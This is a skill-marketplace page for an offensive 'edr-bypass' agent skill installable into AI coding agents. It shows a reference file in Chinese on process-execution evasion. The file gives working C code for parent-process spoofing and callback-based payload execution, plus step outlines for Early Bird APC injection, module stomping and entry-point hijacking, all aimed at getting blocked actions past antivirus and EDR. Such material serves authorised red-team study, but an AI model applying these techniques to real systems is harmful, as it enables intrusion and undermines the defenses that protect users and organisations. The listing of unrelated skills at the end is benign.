pale-knight/redteam-skill / skills/edr-bypass
edr-bypass
VerifiedEndpoint defense evasion after an operator-selected chain already has a valid execution path but AV/EDR/AMSI/WDAC/PPL/memory/kernel telemetry blocks the intended action. Originating modules include /web-attack /ad-attack /cloud-attack /k8s /cicd /service-attack /phishing /privesc-win /privesc-linux /creds /post /shell. Success is the blocked action becoming executable, then resume the originating module — not obtaining a shell here.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 10.7 KB |
| references/SOURCES.md | markdown | 856 B |
| references/application-control.md | markdown | 3.4 KB |
| references/callstack-telemetry.md | markdown | 1.6 KB |
| references/credential-access-evasion.md | markdown | 1.9 KB |
| references/defense-assessment.md | markdown | 2.5 KB |
| references/kernel-edr.md | markdown | 4.2 KB |
| references/memory-execution.md | markdown | 2.5 KB |
| references/native-api-syscalls.md | markdown | 3.2 KB |
| references/process-execution.md | markdown | 3.4 KB |
| references/script-runtime.md | markdown | 3.3 KB |
| references/static-payload.md | markdown | 1.7 KB |
| references/validation.md | markdown | 940 B |
references/process-execution.md
View on GitHub# Process Execution Primitives
当阻断发生在 **进程创建、父进程树、远程线程、命令行遥测** 时使用。目标不是“换一个 shellcode”,而是换执行原语。
成功标准:原先被拦的进程创建/代码执行现在发生,且原 Attack 模块的 payload 进入预期路径。
---
## 1. 不要默认的链
```text
cmd.exe / powershell.exe
CreateProcess
VirtualAllocEx + WriteProcessMemory + CreateRemoteThread
```
现代 EDR 把这条链当高相关行为。按 observed blocker 换 primitive。
---
## 2. PPID spoof
让恶意进程挂在 explorer/sihost/Outlook 下,打断 `office → cmd → powershell` 进程树。
```c
STARTUPINFOEX si = { sizeof(si) };
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(hParent), NULL, NULL);
CreateProcessW(
L"C:\\Windows\\System32\\cmd.exe", cmdLine,
NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &si.StartupInfo, &pi);
```
条件:对目标父进程有 `PROCESS_CREATE_PROCESS`。不要对 SYSTEM 受保护进程硬 Open。成功:Process Explorer / `Get-CimInstance Win32_Process` 显示伪造父进程。
---
## 3. Callback 执行(避开显式 CreateThread)
CreateThread/CreateRemoteThread 是常见遥测点。用系统回调把 RIP 送到 payload:
```c
// EnumWindows
EnumWindows((WNDENUMPROC)payload, 0);
// EnumFontFamiliesEx
LOGFONTW lf = {0};
EnumFontFamiliesExW(GetDC(NULL), &lf, (FONTENUMPROC)payload, 0, 0);
// Timer
HANDLE hTimer = NULL;
CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)payload,
NULL, 0, 0, WT_EXECUTEINTIMERTHREAD);
```
callback 本身、内存属性和调用栈仍可被检测。这是换执行触发器,不是隐身。
---
## 4. Early Bird APC
```text
CreateProcess(CREATE_SUSPENDED)
→ 写入目标内存
→ QueueUserAPC 到主线程
→ ResumeThread
```
代码在主线程第一次进入 alertable 时跑,没有额外 remote thread。对部分 EDR 比 CRT 干净,对另一些仍是注入。
---
## 5. Module stomping / image-backed
不新分配 RWX,覆盖已加载合法模块的 `.text`:
```text
LoadLibrary("C:\\Windows\\System32\\cryptbase.dll") // 选非关键、足够大的模块
→ VirtualProtect(.text, PAGE_READWRITE)
→ 写入 payload
→ VirtualProtect(.text, PAGE_EXECUTE_READ)
→ 从该模块地址执行(callback / 劫持入口,尽量不用 CreateRemoteThread)
```
不要踩 `ntdll`/`kernel32` 的关键页。模块完整性扫描仍可能告警。
---
## 6. Entry Point Hijacking
```text
CREATE_SUSPENDED
→ 定位目标 image 入口
→ 把入口改成 staging stub 或改写入口代码
→ ResumeThread
```
减少显式 remote-thread 证据。可行性取决于目标 image、loader 状态和 EDR。
---
## 7. 成功 / 失败
```text
SUCCESS:
- 目标进程/线程按预期执行 payload
- 原被拦动作不再被立刻 kill/quarantine
STILL BLOCKED:
- 换下一层:memory-execution / callstack / kernel
- 不要无脑加一层加密
CLEANUP:
- 结束测试进程
- 不要把 stomped 系统 DLL 留在长期进程里
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deployment | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |